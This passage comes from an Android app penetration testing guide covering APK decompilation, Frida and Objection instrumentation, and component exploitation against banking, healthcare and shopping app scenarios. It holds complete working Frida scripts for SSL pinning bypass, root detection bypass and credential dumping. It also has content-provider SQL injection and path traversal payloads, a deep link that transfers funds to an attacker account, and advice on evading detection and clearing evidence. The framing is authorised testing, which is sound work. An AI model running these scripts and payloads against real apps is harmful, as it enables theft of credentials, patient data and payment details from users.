+ grep -A2 'exported="true"' target_static/AndroidManifest.xml
350
+
351
+ # Find activities with intent filters (implicitly exported)
352
+ grep -B5 -A5 "<intent-filter>" target_static/AndroidManifest.xml
353
+
354
+ # Check for backup enabled
355
+ grep "allowBackup" target_static/AndroidManifest.xml
356
+
357
+ # Check for cleartext traffic permission
358
+ grep "usesCleartextTraffic\|INTERNET\|network_security_config" target_static/AndroidManifest.xml
359
+ ```
360
+
361
+ 7. Hunt for hardcoded secrets and sensitive strings
362
+ ```bash
363
+ # API keys, tokens, passwords
364
+ grep -rn --include="*.java" --include="*.kt" "api_key\|apikey\|secret\|password\|token\|Bearer\|Authorization" target_java/
365
+
366
+ # AWS credentials
367
+ grep -rn "AKIA\|aws_access\|aws_secret" target_java/
368
+
369
+ # Firebase
370
+ grep -rn "AIzaSy\|firebaseio.com\|google-services" target_java/
371
+
372
+ # JWT
373
+ grep -rn "eyJ" target_java/
374
+
375
+ # Private keys
376
+ grep -rn "BEGIN RSA\|BEGIN EC\|BEGIN PRIVATE" target_java/
377
+
378
+ # Check res/values/strings.xml
379
+ grep -i "key\|secret\|token\|password\|url\|host" target_static/res/values/strings.xml
380
+ ```
381
+
382
+ 8. Check network security config
383
+ ```bash
384
+ cat target_static/res/xml/network_security_config.xml
385
+ # Look for: cleartextTrafficPermitted="true", custom CAs, pinning config
386
+ ```
387
+
388
+ 9. Run automated static scan with MobSF
389
+ ```bash
390
+ # Upload via API
391
+ curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
392
+ -H "Authorization: <mobsf-api-key>"
393
+ # Retrieve report from http://localhost:8000
394
+ ```
395
+
396
+ ### Phase 3: Dynamic Analysis Setup
397
+
398
+ 10. Start frida-server on device
399
+ ```bash
400
+ adb shell "su -c '/data/local/tmp/frida-server &'"
401
+ # Verify
402
+ frida-ps -U | grep target
403
+ ```
404
+
405
+ 11. Configure Burp Suite proxy
406
+ ```bash
407
+ # On Burp: Proxy > Options > Bind to *:8080
408
+ # Install Burp CA on device:
409
+ adb push burp_ca.der /sdcard/burp_ca.der
410
+ # On device: Settings > Security > Install certificate > burp_ca.der
411
+
412
+ # Set device proxy
413
+ adb shell settings put global http_proxy <LHOST>:8080
414
+ ```
415
+
416
+ 12. Launch app with Objection
417
+ ```bash
418
+ objection -g com.target.app explore
419
+ ```
420
+
421
+ ### Phase 4: SSL Pinning Bypass
422
+
423
+ 13. Attempt automatic bypass with Objection
424
+ ```bash
425
+ # Inside objection:
426
+ android sslpinning disable
427
+ ```
428
+
429
+ 14. If automatic bypass fails, use Frida script (see Section 6 for scripts)
430
+ ```bash
431
+ frida -U -f com.target.app -l universal_ssl_bypass.js --no-pause
432
+ ```
433
+
434
+ ### Phase 5: Root Detection Bypass
435
+
436
+ 15. Disable root checks with Objection
437
+ ```bash
438
+ android root disable
439
+ ```
440
+
441
+ 16. If custom root detection, hook the specific method
442
+ ```bash
443
+ # Find root check methods
444
+ grep -rn "isRooted\|checkRoot\|detectRoot\|RootBeer\|RootDetection" target_java/
445
+ # Then hook with Frida (see Section 6)
446
+ ```
447
+
448
+ ### Phase 6: Data Storage Analysis
449
+
450
+ 17. Extract all stored data
451
+ ```bash
452
+ adb shell su -c "ls -la /data/data/com.target.app/"
453
+ adb shell su -c "find /data/data/com.target.app/ -type f" > file_list.txt
454
+
455
+ # SharedPreferences
456
+ adb shell su -c "cat /data/data/com.target.app/shared_prefs/*.xml"
457
+
458
+ # Databases
459
+ adb shell su -c "sqlite3 /data/data/com.target.app/databases/app.db .dump"
460
+
461
+ # Check for world-readable files
462
+ adb shell su -c "find /data/data/com.target.app/ -perm -o+r -type f"
463
+ ```
464
+
465
+ 18. Check external storage
466
+ ```bash
467
+ adb shell "find /sdcard/ -path '*com.target.app*' -type f"
468
+ adb pull /sdcard/Android/data/com.target.app/
469
+ ```
470
+
471
+ ### Phase 7: Component Exploitation
472
+
473
+ 19. Map attack surface with Drozer
474
+ ```bash
475
+ run app.package.attacksurface com.target.app
476
+ ```
477
+
478
+ 20. Exploit exported components (see Scenarios in Section 8)
479
+
480
+ ### Phase 8: Reporting
481
+
482
+ 21. Capture evidence
483
+ ```bash
484
+ # Screenshot
485
+ adb shell screencap /sdcard/screen.png && adb pull /sdcard/screen.png
486
+
487
+ # Screen record
488
+ adb shell screenrecord /sdcard/record.mp4
489
+ # Press Ctrl+C to stop, then:
490
+ adb pull /sdcard/record.mp4
491
+
492
+ # Save logcat
493
+ adb logcat -d > logcat_dump.txt
494
+ ```
495
+
496
+ ---
497
+
498
+ ## 5. Actual Working Terminal Commands
499
+
500
+ ### APK Extraction and Inspection
501
+ ```bash
502
+ # List all installed packages
503
+ adb shell pm list packages -f | grep -i target
504
+
505
+ # Pull specific APK (base.apk for split APKs)
506
+ adb shell pm path com.target.app | sed 's/package://' | xargs -I{} adb pull {} ./
507
+
508
+ # Check APK signature
509
+ apksigner verify --verbose target.apk
510
+ jarsigner -verify -verbose -certs target.apk
511
+
512
+ # List APK contents
513
+ unzip -l target.apk
514
+
515
+ # Extract specific file from APK
516
+ unzip target.apk AndroidManifest.xml -d ./manifest_raw
517
+ # Note: raw manifest is binary. Use apktool or aapt for readable output:
518
+ aapt dump xmltree target.apk AndroidManifest.xml
519
+ ```
520
+
521
+ ### Frida One-Liners
522
+ ```bash
523
+ # List running processes on device
524
+ frida-ps -U
525
+
526
+ # List installed apps
527
+ frida-ps -Uai
528
+
529
+ # Trace all calls to a class
530
+ frida-trace -U -j 'com.target.app.security.*' com.target.app
531
+
532
+ # Trace native functions
533
+ frida-trace -U -i "Java_*" com.target.app
534
+
535
+ # Dump all classes loaded by app
536
+ frida -U -e "Java.perform(function(){ Java.enumerateLoadedClasses({onMatch: function(c){console.log(c)}, onComplete:function(){}}); })" com.target.app
537
+
538
+ # Spawn with env override
539
+ frida -U -f com.target.app --env SOME_VAR=value -l script.js --no-pause
540
+ ```
541
+
542
+ ### Objection Quick Reference
543
+ ```bash
544
+ # Start session
545
+ objection -g com.target.app explore
546
+
547
+ # Or attach by PID
548
+ objection -g <pid> explore
549
+
550
+ # Key commands inside REPL:
551
+ android hooking list activities
552
+ android hooking list services
553
+ android hooking list receivers
554
+ android hooking list classes
555
+ android hooking search classes ssl
556
+ android hooking watch class android.security.net.config.NetworkSecurityTrustManager
557
+ android hooking watch class_method javax.net.ssl.TrustManagerFactory.getTrustManagers --dump-args --dump-return
558
+ android intent launch_activity com.target.app.ui.SettingsActivity
559
+ android keystore list
560
+ android filesystem list /data/data/com.target.app/
561
+ android filesystem get /data/data/com.target.app/shared_prefs/login.xml /tmp/login.xml
562
+ memory list modules
563
+ memory list exports libssl.so
564
+ memory search --string "password" --stop-at-first
565
+ env
566
+ ```
567
+
568
+ ### ADB Data Commands
569
+ ```bash
570
+ # Pull entire app data directory (requires root)
571
+ adb shell "su -c 'tar czf /sdcard/appdata.tar.gz /data/data/com.target.app'"
572
+ adb pull /sdcard/appdata.tar.gz
573
+ tar xzf appdata.tar.gz
574
+
575
+ # Read specific SQLite db
576
+ adb shell "su -c 'cat /data/data/com.target.app/databases/users.db'" > users.db
577
+ sqlite3 users.db
578
+ .tables
579
+ .schema users
580
+ SELECT * FROM users;
581
+
582
+ # Check for token in preferences
583
+ adb shell "su -c 'cat /data/data/com.target.app/shared_prefs/*.xml'" | grep -i "token\|auth\|session"
584
+
585
+ # Monitor file creation in real time
586
+ adb shell "su -c 'inotifywait -m /data/data/com.target.app/ -e create,modify'"
587
+
588
+ # Check logcat for sensitive data leakage
589
+ adb logcat -v time | grep -E "password|token|key|secret|auth" --color
590
+
591
+ # Backup app data (if allowBackup=true, no root needed)
592
+ adb backup -f backup.ab -noapk com.target.app
593
+ dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
594
+ tar xvf backup.tar
595
+ ```
596
+
597
+ ---
598
+
599
+ ## 6. Payload Examples with Explanations
600
+
601
+ ### 6.1 Universal SSL Pinning Bypass (Frida)
602
+
603
+ Save as `ssl_bypass.js`:
604
+
605
+ ```javascript
606
+ // Universal SSL Pinning Bypass for Android
607
+ // Hooks multiple common SSL pinning implementations
608
+ // Works against OkHttp, Retrofit, HttpsURLConnection, TrustManager, and custom implementations
609
+
610
+ Java.perform(function() {
611
+ console.log("[*] Universal SSL Bypass loading...");
612
+
613
+ // --- Bypass 1: TrustManager (HttpsURLConnection) ---
614
+ try {
615
+ var TrustManager = Java.registerClass({
616
+ name: 'com.bypass.TrustManager',
617
+ implements: [Java.use('javax.net.ssl.X509TrustManager')],
618
+ methods: {
619
+ checkClientTrusted: function(chain, authType) {},
620
+ checkServerTrusted: function(chain, authType) {},
621
+ getAcceptedIssuers: function() { return []; }
622
+ }
623
+ });
624
+
625
+ var SSLContext = Java.use('javax.net.ssl.SSLContext');
626
+ SSLContext.init.overload(
627
+ '[Ljavax.net.ssl.KeyManager;',
628
+ '[Ljavax.net.ssl.TrustManager;',
629
+ 'java.security.SecureRandom'
630
+ ).implementation = function(km, tm, sr) {
631
+ console.log("[+] SSLContext.init() hooked");
632
+ this.init(km, [TrustManager.$new()], sr);
633
+ };
634
+ console.log("[+] TrustManager bypass active");
635
+ } catch(e) {
636
+ console.log("[-] TrustManager bypass failed: " + e);
637
+ }
638
+
639
+ // --- Bypass 2: OkHttp3 CertificatePinner ---
640
+ try {
641
+ var CertificatePinner = Java.use('okhttp3.CertificatePinner');
642
+ CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, certs) {
643
+ console.log("[+] OkHttp3 CertificatePinner.check() bypassed for: " + hostname);
644
+ return; // Do nothing — skip pin validation
645
+ };
646
+ CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(hostname, certs) {
647
+ console.log("[+] OkHttp3 CertificatePinner.check(cert[]) bypassed for: " + hostname);
648
+ return;
649
+ };
650
+ console.log("[+] OkHttp3 CertificatePinner bypass active");
651
+ } catch(e) {
652
+ console.log("[-] OkHttp3 bypass failed: " + e);
653
+ }
654
+
655
+ // --- Bypass 3: OkHttp2 CertificatePinner ---
656
+ try {
657
+ var OkHttp2CertPinner = Java.use('com.squareup.okhttp.CertificatePinner');
658
+ OkHttp2CertPinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(hostname, certs) {
659
+ console.log("[+] OkHttp2 CertificatePinner bypassed for: " + hostname);
660
+ return;
661
+ };
662
+ console.log("[+] OkHttp2 CertificatePinner bypass active");
663
+ } catch(e) {
664
+ console.log("[-] OkHttp2 bypass failed: " + e);
665
+ }
666
+
667
+ // --- Bypass 4: WebViewClient SSL Error ---
668
+ try {
669
+ var WebViewClient = Java.use('android.webkit.WebViewClient');
670
+ WebViewClient.onReceivedSslError.implementation = function(webView, handler, error) {
671
+ console.log("[+] WebViewClient.onReceivedSslError() bypassed");
672
+ handler.proceed(); // Accept the cert
673
+ };
674
+ console.log("[+] WebViewClient SSL bypass active");
675
+ } catch(e) {
676
+ console.log("[-] WebViewClient bypass failed: " + e);
677
+ }
678
+
679
+ // --- Bypass 5: Conscrypt (common in modern apps) ---
680
+ try {
681
+ var ConscryptOpenSSLSocketImpl = Java.use('com.android.org.conscrypt.OpenSSLSocketImpl');
682
+ ConscryptOpenSSLSocketImpl.verifyCertificateChain.implementation = function(certRefs, authMethod) {
683
+ console.log("[+] Conscrypt verifyCertificateChain() bypassed");
684
+ };
685
+ console.log("[+] Conscrypt bypass active");
686
+ } catch(e) {
687
+ console.log("[-] Conscrypt bypass failed: " + e);
688
+ }
689
+
690
+ // --- Bypass 6: HostnameVerifier ---
691
+ try {
692
+ var HostnameVerifier = Java.use('javax.net.ssl.HttpsURLConnection');
693
+ HostnameVerifier.setDefaultHostnameVerifier.implementation = function(verifier) {
694
+ console.log("[+] HostnameVerifier replaced");
695
+ var AllowAll = Java.registerClass({
696
+ name: 'com.bypass.AllowAllVerifier',
697
+ implements: [Java.use('javax.net.ssl.HostnameVerifier')],
698
+ methods: {
699
+ verify: function(hostname, session) { return true; }
700
+ }
701
+ });
702
+ this.setDefaultHostnameVerifier(AllowAll.$new());
703
+ };
704
+ console.log("[+] HostnameVerifier bypass active");
705
+ } catch(e) {
706
+ console.log("[-] HostnameVerifier bypass failed: " + e);
707
+ }
708
+
709
+ console.log("[*] SSL bypass setup complete");
710
+ });
711
+ ```
712
+
713
+ Run with:
714
+ ```bash
715
+ frida -U -f com.target.app -l ssl_bypass.js --no-pause
716
+ ```
717
+
718
+ ### 6.2 Root Detection Bypass (Frida)
719
+
720
+ Save as `root_bypass.js`:
721
+
722
+ ```javascript
723
+ // Root Detection Bypass
724
+ // Targets: RootBeer, SafetyNet, custom checks, su binary checks
725
+
726
+ Java.perform(function() {
727
+ console.log("[*] Root bypass loading...");
728
+
729
+ // --- Bypass 1: RootBeer ---
730
+ try {
731
+ var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
732
+ RootBeer.isRooted.implementation = function() {
733
+ console.log("[+] RootBeer.isRooted() -> false");
734
+ return false;
735
+ };
736
+ RootBeer.isRootedWithoutBusyBox.implementation = function() {
737
+ return false;
738
+ };
739
+ console.log("[+] RootBeer bypass active");
740
+ } catch(e) {
741
+ console.log("[-] RootBeer bypass failed: " + e);
742
+ }
743
+
744
+ // --- Bypass 2: File existence checks for su/magisk ---
745
+ try {
746
+ var File = Java.use('java.io.File');
747
+ File.exists.implementation = function() {
748
+ var name = this.getAbsolutePath();
749
+ var suspiciousPaths = [
750
+ '/su', '/sbin/su', '/system/bin/su', '/system/xbin/su',
751
+ '/system/app/Superuser.apk', '/data/local/tmp/su',
752
+ '/sbin/magisk', '/system/xbin/which', '/data/adb/magisk',
753
+ '/proc/net/if_inet6', '/proc/tty/drivers'
754
+ ];
755
+ for (var i = 0; i < suspiciousPaths.length; i++) {
756
+ if (name.indexOf(suspiciousPaths[i]) >= 0) {
757
+ console.log("[+] Blocked File.exists() for: " + name);
758
+ return false;
759
+ }
760
+ }
761
+ return this.exists();
762
+ };
763
+ console.log("[+] File.exists() root path filter active");
764
+ } catch(e) {
765
+ console.log("[-] File.exists() bypass failed: " + e);
766
+ }
767
+
768
+ // --- Bypass 3: Runtime.exec() for su ---
769
+ try {
770
+ var Runtime = Java.use('java.lang.Runtime');
771
+ Runtime.exec.overload('java.lang.String').implementation = function(cmd) {
772
+ if (cmd.indexOf('su') >= 0 || cmd.indexOf('which') >= 0) {
773
+ console.log("[+] Blocked Runtime.exec(): " + cmd);
774
+ throw Java.use('java.io.IOException').$new("Permission denied");
775
+ }
776
+ return this.exec(cmd);
777
+ };
778
+ console.log("[+] Runtime.exec() filter active");
779
+ } catch(e) {
780
+ console.log("[-] Runtime.exec() bypass failed: " + e);
781
+ }
782
+
783
+ // --- Bypass 4: Build tags (test-keys check) ---
784
+ try {
785
+ var Build = Java.use('android.os.Build');
786
+ Build.TAGS.value = 'release-keys';
787
+ console.log("[+] Build.TAGS set to release-keys");
788
+ } catch(e) {
789
+ console.log("[-] Build.TAGS bypass failed: " + e);
790
+ }
791
+
792
+ // --- Bypass 5: Google SafetyNet Attestation result ---
793
+ try {
794
+ var SafetyNetAttestationResult = Java.use('com.google.android.gms.safetynet.SafetyNetApi$AttestationResponse');
795
+ // Hook the JWS result parsing if app processes it
796
+ console.log("[*] SafetyNet hook — check for custom attestation parsing in app");
797
+ } catch(e) {}
798
+
799
+ console.log("[*] Root bypass complete");
800
+ });
801
+ ```
802
+
803
+ ### 6.3 Credential Extraction Hook
804
+
805
+ Save as `cred_dump.js`:
806
+
807
+ ```javascript
808
+ // Dump credentials being passed to login methods
809
+
810
+ Java.perform(function() {
811
+ // Hook common HTTP client headers
812
+ try {
813
+ var Request = Java.use('okhttp3.Request$Builder');
814
+ Request.addHeader.implementation = function(name, value) {
815
+ if (name.toLowerCase().indexOf('auth') >= 0 ||
816
+ name.toLowerCase().indexOf('token') >= 0 ||
817
+ name.toLowerCase().indexOf('cookie') >= 0) {
818
+ console.log("[CRED] Header: " + name + ": " + value);
819
+ }
820
+ return this.addHeader(name, value);
821
+ };
822
+ } catch(e) {}
823
+
824
+ // Hook SharedPreferences writes
825
+ try {
826
+ var Editor = Java.use('android.app.SharedPreferencesImpl$EditorImpl');
827
+ Editor.putString.implementation = function(key, value) {
828
+ if (key.toLowerCase().indexOf('token') >= 0 ||
829
+ key.toLowerCase().indexOf('auth') >= 0 ||
830
+ key.toLowerCase().indexOf('pass') >= 0 ||
831
+ key.toLowerCase().indexOf('session') >= 0) {
832
+ console.log("[CRED] SharedPreferences.putString: " + key + " = " + value);
833
+ }
834
+ return this.putString(key, value);
835
+ };
836
+ } catch(e) {}
837
+
838
+ // Hook SQLite writes
839
+ try {
840
+ var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');
841
+ SQLiteDatabase.insert.implementation = function(table, nullColumnHack, values) {
842
+ console.log("[DB] INSERT into: " + table + " -> " + values.toString());
843
+ return this.insert(table, nullColumnHack, values);
844
+ };
845
+ } catch(e) {}
846
+
847
+ console.log("[*] Credential hooks active");
848
+ });
849
+ ```
850
+
851
+ ### 6.4 Intent-Based Activity Launch (Drozer)
852
+
853
+ ```bash
854
+ # Launch an exported activity directly (may bypass authentication)
855
+ run app.activity.start --component com.target.app com.target.app.ui.AdminDashboardActivity
856
+
857
+ # Start with extras (simulating a deep link)
858
+ run app.activity.start \
859
+ --component com.target.app com.target.app.ui.ResetPasswordActivity \
860
+ --extra string token "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA"
861
+
862
+ # Content Provider SQL injection
863
+ run app.provider.query \
864
+ content://com.target.app.provider/accounts \
865
+ --selection "1=1 UNION SELECT username,password,3,4 FROM users--"
866
+
867
+ # Directory traversal via content provider
868
+ run app.provider.read \
869
+ content://com.target.app.fileprovider/../../../data/data/com.target.app/shared_prefs/login.xml
870
+ ```
871
+
872
+ ---
873
+
874
+ ## 7. Tool Commands with Flags Explained
875
+
876
+ ### apktool
877
+ ```bash
878
+ apktool d target.apk \
879
+ -o output_dir \ # Output directory name
880
+ -f \ # Force overwrite output dir if exists
881
+ -r \ # Do NOT decode resources (faster, keeps binary XML)
882
+ -s \ # Do NOT decode sources (no smali, faster)
883
+ --no-src \ # Skip source decoding
884
+ --only-main-classes # Only decompile main dex
885
+
886
+ # Rebuild (after patching smali or manifest)
887
+ apktool b output_dir \
888
+ -o rebuilt.apk \ # Output APK path
889
+ -f \ # Force rebuild
890
+ --use-aapt2 # Use aapt2 (required for newer apps)
891
+ ```
892
+
893
+ ### jadx
894
+ ```bash
895
+ jadx target.apk \
896
+ -d output_dir \ # Output directory
897
+ --deobf \ # Enable deobfuscation
898
+ --deobf-min 3 \ # Min name length to deobfuscate
899
+ --deobf-use-sourcename \ # Use source file name as class name hint
900
+ --show-bad-code \ # Include code that failed to decompile
901
+ --no-imports \ # Disable imports (full qualified names)
902
+ --threads-count 4 \ # Parallel threads (default: CPU count)
903
+ -e \ # Export as Gradle project (IDE-ready)
904
+ --single-class com.target.app.MainActivity # Decompile single class only
905
+ ```
906
+
907
+ ### frida
908
+ ```bash
909
+ frida \
910
+ -U \ # USB device
911
+ -D <device-id> \ # Specific device by ID
912
+ -f com.target.app \ # Spawn app (start fresh)
913
+ -n com.target.app \ # Attach by name (app must be running)
914
+ -p <pid> \ # Attach by PID
915
+ -l script.js \ # Load JavaScript file
916
+ -e "Java.perform(...)" \ # Inline script expression
917
+ --no-pause \ # Don't pause on spawn (auto-resume)
918
+ --timeout 30 \ # Spawn timeout in seconds
919
+ --realm emulated \ # Target emulated realm (default: native)
920
+ -o output.log # Save console output to file
921
+
922
+ frida-trace \
923
+ -U \
924
+ -i "open" \ # Trace native function by name
925
+ -j 'com.target.*!*' \ # Trace all Java methods in package
926
+ -J '*!login*' \ # Trace methods containing "login"
927
+ com.target.app
928
+ ```
929
+
930
+ ### adb
931
+ ```bash
932
+ adb \
933
+ -s <serial> \ # Target specific device/emulator
934
+ -d \ # USB device only
935
+ -e \ # Emulator only
936
+
937
+ adb shell am start \ # Activity Manager
938
+ -n com.target.app/.MainActivity \ # Component
939
+ -a android.intent.action.VIEW \ # Action
940
+ -d "app://target/reset?token=X" \ # Data URI (deep link)
941
+ -e key value \ # String extra
942
+ -ez key true \ # Boolean extra
943
+ --activity-clear-top # Clear back stack
944
+
945
+ adb shell pm \ # Package Manager
946
+ list packages -f \ # List all packages with APK paths
947
+ list packages -3 \ # Third-party only
948
+ path com.target.app \ # Get APK path
949
+ clear com.target.app \ # Clear app data
950
+ disable com.target.app \ # Disable app
951
+ grant com.target.app android.permission.READ_CONTACTS # Grant permission
952
+
953
+ adb shell dumpsys \ # System service dumps
954
+ activity com.target.app \ # Activity stack info
955
+ package com.target.app \ # Package info (permissions, paths)
956
+ meminfo com.target.app \ # Memory usage
957
+ battery # Battery info
958
+ ```
959
+
960
+ ### Drozer
961
+ ```bash
962
+ # Inside drozer console:
963
+ run app.package.list -f target # Find packages matching name
964
+ run app.package.info -a com.target.app # Package details
965
+ run app.package.attacksurface com.target.app # Exported components count
966
+ run app.activity.info -a com.target.app -u # Unexported activities too
967
+ run app.provider.finduri com.target.app # Discover content provider URIs
968
+ run scanner.misc.readablefiles /data/data/com.target.app # World-readable files
969
+ run scanner.misc.writablefiles /data/data/com.target.app # World-writable files
970
+ run scanner.provider.sqltables --authority com.target.app.provider # SQL table enum
971
+ run scanner.provider.injection -a com.target.app # Auto SQL injection scan
972
+ run scanner.provider.traversal -a com.target.app # Directory traversal scan
973
+ ```
974
+
975
+ ---
976
+
977
+ ## 8. Real-World Attack Scenarios
978
+
979
+ ### Scenario 1: Banking App — SSL Pinning Bypass and API Token Theft
980
+
981
+ **Context:** Client bank has a mobile app. Testers need to intercept API traffic to find IDOR vulnerabilities in the backend. The app implements OkHttp certificate pinning.
982
+
983
+ **Steps:**
984
+
985
+ ```bash
986
+ # 1. Install app and confirm SSL pinning is blocking Burp
987
+ # Open app with Burp proxy active — you'll see SSL handshake failures in Burp
988
+
989
+ # 2. Identify pinning library
990
+ grep -rn "CertificatePinner\|TrustKit\|TrustManagerBuilder" target_java/
991
+ # Found: okhttp3.CertificatePinner
992
+
993
+ # 3. Apply Frida bypass
994
+ frida -U -f com.bank.app -l ssl_bypass.js --no-pause
995
+ # Console output: [+] OkHttp3 CertificatePinner.check() bypassed for: api.bank.com
996
+
997
+ # 4. Now Burp captures all HTTPS traffic
998
+ # Inspect requests for:
999
+ # - Authentication tokens in headers
1000
+ # - User IDs in URL paths (potential IDOR)
1001
+ # - Sensitive PII in request/response bodies
1002
+
1003
+ # 5. Extract stored token from SharedPreferences
1004
+ adb shell su -c "cat /data/data/com.bank.app/shared_prefs/*.xml" | grep -i "token\|auth"
1005
+ # Found: <string name="auth_token">eyJhbGciOiJSUzI1NiJ9...</string>
1006
+
1007
+ # 6. Decode JWT
1008
+ echo "eyJhbGciOiJSUzI1NiJ9..." | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
1009
+
1010
+ # 7. Test IDOR with captured token against another user ID
1011
+ curl -H "Authorization: Bearer eyJhbGciOiJSUzI1NiJ9..." \
1012
+ https://api.bank.com/v1/accounts/1001/transactions
1013
+ # (replace 1001 with another account number)
1014
+ ```
1015
+
1016
+ **Finding:** JWT stored in plaintext SharedPreferences; SSL pinning bypassable with Frida; API vulnerable to IDOR.
1017
+
1018
+ ---
1019
+
1020
+ ### Scenario 2: Healthcare App — Exported Activity Authentication Bypass
1021
+
1022
+ **Context:** Healthcare patient portal has an admin debug activity that was accidentally left exported in the production build.
1023
+
1024
+ **Steps:**
1025
+
1026
+ ```bash
1027
+ # 1. Inspect manifest for exported activities
1028
+ apktool d health.apk -o health_static
1029
+ grep -A10 'exported="true"' health_static/AndroidManifest.xml
1030
+
1031
+ # Found:
1032
+ # <activity android:name=".ui.debug.AdminDebugActivity"
1033
+ # android:exported="true">
1034
+
1035
+ # 2. Launch directly without authentication
1036
+ adb shell am start -n com.health.app/.ui.debug.AdminDebugActivity
1037
+ # App opens AdminDebugActivity without requiring login
1038
+
1039
+ # 3. Or via Drozer for more control
1040
+ drozer console connect
1041
+ run app.activity.info -a com.health.app
1042
+ run app.activity.start --component com.health.app com.health.app.ui.debug.AdminDebugActivity
1043
+
1044
+ # 4. AdminDebugActivity exposes:
1045
+ # - All patient records (SQLite dump button)
1046
+ # - User account management
1047
+ # - Disable audit logging toggle
1048
+
1049
+ # 5. Also check for exported content providers
1050
+ run app.provider.info -a com.health.app
1051
+ run app.provider.query content://com.health.app.provider/patients
1052
+ # Returns all patient records without authentication
1053
+
1054
+ # 6. Test for SQL injection in content provider
1055
+ run scanner.provider.injection -a com.health.app
1056
+ # Vulnerable parameter found: 'id' field
1057
+
1058
+ run app.provider.query \
1059
+ content://com.health.app.provider/patients \
1060
+ --selection "1=1 UNION SELECT name,ssn,dob,insurance_id FROM patients--"
1061
+ ```
1062
+
1063
+ **Finding:** Admin activity exported without authentication gate; content provider allows unauthenticated data access; SQL injection in provider selection parameter.
1064
+
1065
+ ---
1066
+
1067
+ ### Scenario 3: E-Commerce App — Insecure Data Storage and Deep Link Takeover
1068
+
1069
+ **Context:** E-commerce app stores session data insecurely and has an unvalidated deep link that can transfer funds.
1070
+
1071
+ **Steps:**
1072
+
1073
+ ```bash
1074
+ # 1. Static analysis — find deep link handlers
1075
+ grep -rn "getIntent\|getAction\|getData\|parseUri" target_java/ | grep -v "android.content.Intent"
1076
+ grep -rn "scheme\|host\|pathPrefix" target_static/AndroidManifest.xml
1077
+
1078
+ # Found deep link: myapp://checkout/transfer?to=USER&amount=AMT
1079
+
1080
+ # 2. Craft malicious deep link
1081
+ adb shell am start \
1082
+ -a android.intent.action.VIEW \
1083
+ -d "myapp://checkout/transfer?to=attacker_account&amount=9999" \
1084
+ com.shop.app
1085
+
1086
+ # App initiates transfer without re-authentication!
1087
+
1088
+ # 3. Check data storage
1089
+ adb shell su -c "find /data/data/com.shop.app/ -type f" | head -30
1090
+
1091
+ # Pull database
1092
+ adb shell su -c "cat /data/data/com.shop.app/databases/shop.db" > shop.db
1093
+ sqlite3 shop.db ".tables"
1094
+ # Tables: users, sessions, orders, payment_methods
1095
+
1096
+ sqlite3 shop.db "SELECT * FROM payment_methods;"
1097
+ # Plaintext credit card numbers stored locally!
1098
+
1099
+ sqlite3 shop.db "SELECT * FROM sessions;"
1100
+ # Session tokens with no expiry
1101
+
1102
+ # 4. Check external storage (no root needed)
1103
+ adb shell ls /sdcard/Android/data/com.shop.app/files/
1104
+ # Found: receipts/, cache/images/, export_2024_01_01.csv
1105
+
1106
+ adb pull /sdcard/Android/data/com.shop.app/files/export_2024_01_01.csv
1107
+ # CSV contains: order history with full payment card details
1108
+
1109
+ # 5. Exploit ADB backup if allowBackup=true
1110
+ grep "allowBackup" target_static/AndroidManifest.xml
1111
+ # android:allowBackup="true"
1112
+
1113
+ adb backup -f backup.ab -noapk com.shop.app
1114
+ # Decrypt backup
1115
+ dd if=backup.ab bs=1 skip=24 | \
1116
+ python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" \
1117
+ > backup.tar
1118
+ tar xvf backup.tar
1119
+ # Full app data including databases and preferences extracted without root
1120
+ ```
1121
+
1122
+ **Finding:** Unvalidated deep links allow funds transfer; plaintext credit card storage in SQLite; sensitive data on external storage; ADB backup exposes all data without root access.
1123
+
1124
+ ---
1125
+
1126
+ ## 9. Detection and OPSEC Considerations
1127
+
1128
+ ### What Defenders May Monitor
1129
+
1130
+ - **Frida Detection:** Many financial and gaming apps use Frida detection:
1131
+ - Check `/proc/<pid>/maps` for `frida` strings
1132
+ - Port scan for frida-server (default 27042)
1133
+ - Check loaded library names for `frida-agent`
1134
+ - Anti-debugging via `ptrace` self-attachment
1135
+
1136
+ - **Root Detection Evasion Artifacts:**
1137
+ - `su` binary in PATH
1138
+ - Magisk mount points in `/proc/mounts`
1139
+ - Modified `BUILD.PROP` values
1140
+
1141
+ - **Network Anomalies:**
1142
+ - Non-certificate-pinned TLS sessions
1143
+ - Burp CA fingerprint in certificate chain
1144
+ - Unusual proxy settings via `adb shell settings`
1145
+
1146
+ ### OPSEC Measures
1147
+
1148
+ ```bash
1149
+ # Use a different Frida server port to evade default port scans
1150
+ adb shell /data/local/tmp/frida-server -l 0.0.0.0:12345 &
1151
+ frida -U --host 127.0.0.1:12345 com.target.app
1152
+
1153
+ # Rename frida-server binary to evade name-based detection
1154
+ adb push frida-server /data/local/tmp/com.android.systools
1155
+ adb shell chmod 755 /data/local/tmp/com.android.systools
1156
+ adb shell /data/local/tmp/com.android.systools &
1157
+
1158
+ # Use Objection with custom gadget (instead of standalone server)
1159
+ # Patch APK to embed frida-gadget.so — no frida-server needed, evades port checks
1160
+ # See: https://github.com/sensepost/objection/wiki/Patching-APKs
1161
+
1162
+ # Forward traffic over ADB (no proxy settings on device — evades proxy detection)
1163
+ adb forward tcp:8080 tcp:8080
1164
+ # Then configure Burp to listen on 127.0.0.1:8080
1165
+
1166
+ # Use r2frida for lower-profile instrumentation
1167
+ # https://github.com/nowsecure/r2frida
1168
+
1169
+ # Clear evidence after engagement
1170
+ adb shell rm /data/local/tmp/frida-server
1171
+ adb shell settings put global http_proxy :0
1172
+ adb shell pm clear com.target.app # Reset app state if needed
1173
+ ```
1174
+
1175
+ ### Avoiding App Crashes During Testing
1176
+
1177
+ ```bash
1178
+ # Always test hooks on a clone/backup first
1179
+ # Check app version before hooks (API-level differences break scripts)
1180
+ adb shell dumpsys package com.target.app | grep versionName
1181
+
1182
+ # Use --no-pause to avoid timing-related crashes on spawn
1183
+ frida -U -f com.target.app -l script.js --no-pause
1184
